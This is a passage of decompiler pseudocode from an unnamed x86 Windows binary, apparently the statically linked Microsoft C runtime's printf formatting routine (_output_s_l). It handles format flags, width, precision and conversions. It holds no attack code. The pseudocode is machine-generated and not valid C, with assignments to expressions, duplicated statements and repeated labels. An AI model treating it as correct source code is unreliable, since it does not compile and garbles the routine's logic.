											if(( *(_t701 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000100;
												if(( *(_t701 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000001;
													if(( *(_t701 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t701 - 0x10) & 0x00000002;
														if(( *(_t701 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t701 - 0x14)) = 0x20;
															 *(_t701 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t701 - 0x14)) = 0x2b;
														 *(_t701 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t701 - 0x14)) = 0x2d;
													 *(_t701 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *(_t701 - 0x24) -  *(_t701 - 0x1c);
											__eflags =  *(_t701 - 0x10) & 0x0000000c;
											if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
												E004283D0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
											}
											E00428410( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
											_t703 = _t703 + 0x10;
											__eflags =  *(_t701 - 0x10) & 0x00000008;
											if(( *(_t701 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000004;
												if(( *(_t701 - 0x10) & 0x00000004) == 0) {
													E004283D0(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
													_t703 = _t703 + 0x10;
												}
											}
											__eflags =  *(_t701 - 0xc);
											if( *(_t701 - 0xc) == 0) {
												L212:
												E00428410( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *(_t701 - 0x24),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
												goto L213;
											} else {
												L204:
												__eflags =  *(_t701 - 0x24);
												if( *(_t701 - 0x24) <= 0) {
													goto L212;
												}
												L205:
												 *(_t701 - 0x2dc) = 0;
												 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
												 *(_t701 - 0x2cc) =  *(_t701 - 0x24);
												while(1) {
													L206:
													 *(_t701 - 0x2cc) =  *(_t701 - 0x2cc) - 1;
													__eflags =  *(_t701 - 0x2cc);
													if( *(_t701 - 0x2cc) == 0) {
														break;
													}
													L207:
													 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
													_t563 = E00434360(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
													_t703 = _t703 + 0x10;
													 *(_t701 - 0x2dc) = _t563;
													 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
													__eflags =  *(_t701 - 0x2dc);
													if( *(_t701 - 0x2dc) != 0) {
														L209:
														 *(_t701 - 0x24c) = 0xffffffff;
														break;
													}
													L208:
													__eflags =  *(_t701 - 0x2d0);
													if( *(_t701 - 0x2d0) != 0) {
														L210:
														E00428410( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *(_t701 - 0x2d0),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
														continue;
													}
													goto L209;
												}
												L211:
												L213:
												__eflags =  *(_t701 - 0x24c);
												if( *(_t701 - 0x24c) >= 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000004;
													if(( *(_t701 - 0x10) & 0x00000004) != 0) {
														E004283D0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
													}
												}
											}
											L216:
											__eflags =  *(_t701 - 0x20);
											if( *(_t701 - 0x20) != 0) {
												L0041C510( *(_t701 - 0x20), 2);
												_t703 = _t703 + 8;
												 *(_t701 - 0x20) = 0;
											}
											while(1) {
												L218:
												 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
												_t665 =  *(_t701 - 0x251);
												 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
												if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
														 *(_t701 - 0x310) = 0;
													} else {
														 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407DE8) & 0xf;
													}
												}
												L7:
												 *(_t701 - 0x250) =  *(_t701 - 0x310);
												_t525 =  *(_t701 - 0x250) * 9;
												_t611 =  *(_t701 - 0x25c);
												_t665 = ( *(_t525 + _t611 + 0x407e08) & 0x000000ff) >> 4;
												 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e08) & 0x000000ff) >> 4;
												if( *(_t701 - 0x25c) != 8) {
													L16:
													 *(_t701 - 0x318) =  *(_t701 - 0x25c);
													__eflags =  *(_t701 - 0x318) - 7;
													if( *(_t701 - 0x318) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M004356A0))) {
														case 0:
															L18:
															 *(_t701 - 0xc) = 0;
															_t528 = E00431350( *(_t701 - 0x251) & 0x000000ff, E0041AE20(_t701 - 0x40));
															_t706 = _t703 + 8;
															__eflags = _t528;
															if(_t528 == 0) {
																L24:
																E00428330( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t703 = _t706 + 0xc;
																goto L218;
															} else {
																E00428330( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t706 = _t706 + 0xc;
																_t616 =  *( *(_t701 + 0xc));
																 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																_t665 =  *(_t701 + 0xc) + 1;
																__eflags = _t665;
																 *(_t701 + 0xc) = _t665;
																asm("sbb eax, eax");
																 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																if(_t665 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t540 = L0041E350();
																	_t706 = _t706 + 0x14;
																	__eflags = _t540 - 1;
																	if(_t540 == 1) {
																		asm("int3");
																	}
																}
																L22:
																__eflags =  *(_t701 - 0x27c);
																if( *(_t701 - 0x27c) != 0) {
																	goto L24;
																} else {
																	 *((intOrPtr*)(L00422E40(_t616))) = 0x16;
																	E00422BD0(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t701 - 0x2f4) = 0xffffffff;
																	E0041ADF0(_t701 - 0x40);
																	_t518 =  *(_t701 - 0x2f4);
																	goto L229;
																}
															}
														case 1:
															L25:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L218;
														case 2:
															L26:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															__eflags =  *(__ebp - 0x31c) - 0x10;
															if( *(__ebp - 0x31c) > 0x10) {
																goto L33;
															}
															L27:
															__ecx =  *(__ebp - 0x31c);
															_t73 = __ecx + 0x4356d8; // 0x498d04
															__edx =  *_t73 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M004356C0))) {
																case 0:
																	goto L30;
																case 1:
																	goto L31;
																case 2:
																	goto L29;
																case 3:
																	goto L28;
																case 4:
																	goto L32;
																case 5:
																	goto L33;
															}
														case 3:
															L34:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t97 = __ecx - 0x30; // -48
																__edx = __eax + _t97;
																 *(__ebp - 0x18) = __eax + _t97;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															goto L218;
														case 4:
															L40:
															 *(__ebp - 0x30) = 0;
															goto L218;
														case 5:
															L41:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t108;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L218;
														case 6:
															L47:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															__eflags =  *(__ebp - 0x320) - 0x2e;
															if( *(__ebp - 0x320) > 0x2e) {
																L70:
																goto L218;
															}
															L48:
															__ecx =  *(__ebp - 0x320);
															_t116 = __ecx + 0x435700; // 0x4f0e9003
															__edx =  *_t116 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M004356EC))) {
																case 0:
																	L53:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L56:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L59:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L65:
																				L67:
																				goto L70;
																			}
																			L60:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L65;
																			}
																			L61:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L65;
																			}
																			L62:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L65;
																			}
																			L63:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L65;
																			}
																			L64:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L18;
																			}
																			goto L65;
																		}
																		L57:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L59;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	}
																	L54:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L56;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L67;
																	}
																case 1:
																	L68:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L70;
																case 2:
																	L49:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L70;
																case 3:
																	L69:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L70;
																case 4:
																	goto L70;
															}
														case 7:
															L71:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x324) = __ecx;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															__eflags =  *(__ebp - 0x324) - 0x37;
															if( *(__ebp - 0x324) > 0x37) {
																while(1) {
																	L190:
																	__eflags =  *(_t701 - 0x28);
																	if( *(_t701 - 0x28) != 0) {
																		goto L216;
																	}
																	goto L191;
																}
															}
															L72:
															_t157 =  *(__ebp - 0x324) + 0x43576c; // 0xcccccc0d
															__ecx =  *_t157 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M00435730))) {
																case 0:
																	L123:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L124;
																case 1:
																	L73:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L75;
																case 2:
																	L88:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L90;
																case 3:
																	L147:
																	 *(__ebp - 0x260) = 7;
																	goto L149;
																case 4:
																	L81:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x288) = E004284A0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x288);
																	if( *(__ebp - 0x288) == 0) {
																		L83:
																		__edx =  *0x440f80; // 0x404448
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																		L87:
																		goto L190;
																	}
																	L82:
																	__ecx =  *(__ebp - 0x288);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L84:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L87;
																	}
																	goto L83;
																case 5:
																	L124:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L126:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L129:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L131:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B890(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			__ecx =  *(__eax - 8);
																			__edx =  *(__eax - 4);
																			 *(__ebp - 0x2a8) =  *(__eax - 8);
																			 *(__ebp - 0x2a4) =  *(__eax - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041AE20(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a8;
																			_push(__ebp - 0x2a8);
																			__eax =  *0x440374; // 0x7e8e98dc
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE20(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0x8a8e9826
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE20(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0xc28e9826
																					E00424690(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																			do {
																				L190:
																				__eflags =  *(_t701 - 0x28);
																				if( *(_t701 - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			} while ( *(__ebp - 0x324) > 0x37);
																			goto L72;
																		}
																		L127:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L129;
																		}
																		L128:
																		 *(__ebp - 0x30) = 1;
																		goto L131;
																	}
																	L125:
																	 *(__ebp - 0x30) = 6;
																	goto L131;
																case 6:
																	L75:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		__ebp + 0x14 = E004284A0(__ebp + 0x14);
																		 *(__ebp - 0x284) = __ax;
																		__cl =  *(__ebp - 0x284);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																	} else {
																		 *(__ebp - 0x280) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E004284E0(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x280) = E00434360(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x280);
																		if( *(__ebp - 0x280) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	while(1) {
																		L190:
																		__eflags =  *(_t701 - 0x28);
																		if( *(_t701 - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																case 7:
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L153:
																	__eflags =  *(_t701 - 0x10) & 0x00008000;
																	if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																		_t649 =  *(_t701 - 0x10) & 0x00001000;
																		__eflags = _t649;
																		if(_t649 == 0) {
																			__eflags =  *(_t701 - 0x10) & 0x00000020;
																			if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																				_t651 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t651;
																				if(_t651 == 0) {
																					_t496 = E004284A0(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					__eflags = 0;
																					 *(_t701 - 0x2b8) = _t496;
																					 *(_t701 - 0x2b4) = 0;
																				} else {
																					_t580 = E004284A0(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t580;
																					 *(_t701 - 0x2b4) = _t651;
																				}
																			} else {
																				_t698 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t698;
																				if(_t698 == 0) {
																					_t581 = E004284A0(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																					 *(_t701 - 0x2b4) = _t698;
																				} else {
																					_t584 = E004284A0(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t584;
																					 *(_t701 - 0x2b4) = _t698;
																				}
																			}
																		} else {
																			_t587 = E004284C0(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t587;
																			 *(_t701 - 0x2b4) = _t649;
																		}
																	} else {
																		_t588 = E004284C0(_t701 + 0x14);
																		_t703 = _t703 + 4;
																		 *(_t701 - 0x2b8) = _t588;
																		 *(_t701 - 0x2b4) = _t647;
																	}
																	__eflags =  *(_t701 - 0x10) & 0x00000040;
																	if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																		goto L170;
																	}
																case 8:
																	L109:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x298) = E004284A0(__ebp + 0x14);
																	__eax = E00434040();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L119:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			__edx =  *(__ebp - 0x298);
																			__eax =  *(__ebp - 0x24c);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		} else {
																			__eax =  *(__ebp - 0x298);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L110:
																	__edx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x32c) = 0;
																	} else {
																		 *(__ebp - 0x32c) = 1;
																	}
																	__eax =  *(__ebp - 0x32c);
																	 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E350();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) != 0) {
																		L118:
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	} else {
																		L117:
																		 *((intOrPtr*)(L00422E40(__ecx))) = 0x16;
																		__eax = E00422BD0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x2f8) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041ADF0(__ecx);
																		__eax =  *(__ebp - 0x2f8);
																		goto L229;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L146:
																	 *(__ebp - 0x30) = 8;
																	goto L147;
																case 0xb:
																	L90:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x328) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x328) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x328);
																	 *(__ebp - 0x290) =  *(__ebp - 0x328);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E004284A0(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L101:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__edx =  *0x440f80; // 0x404448
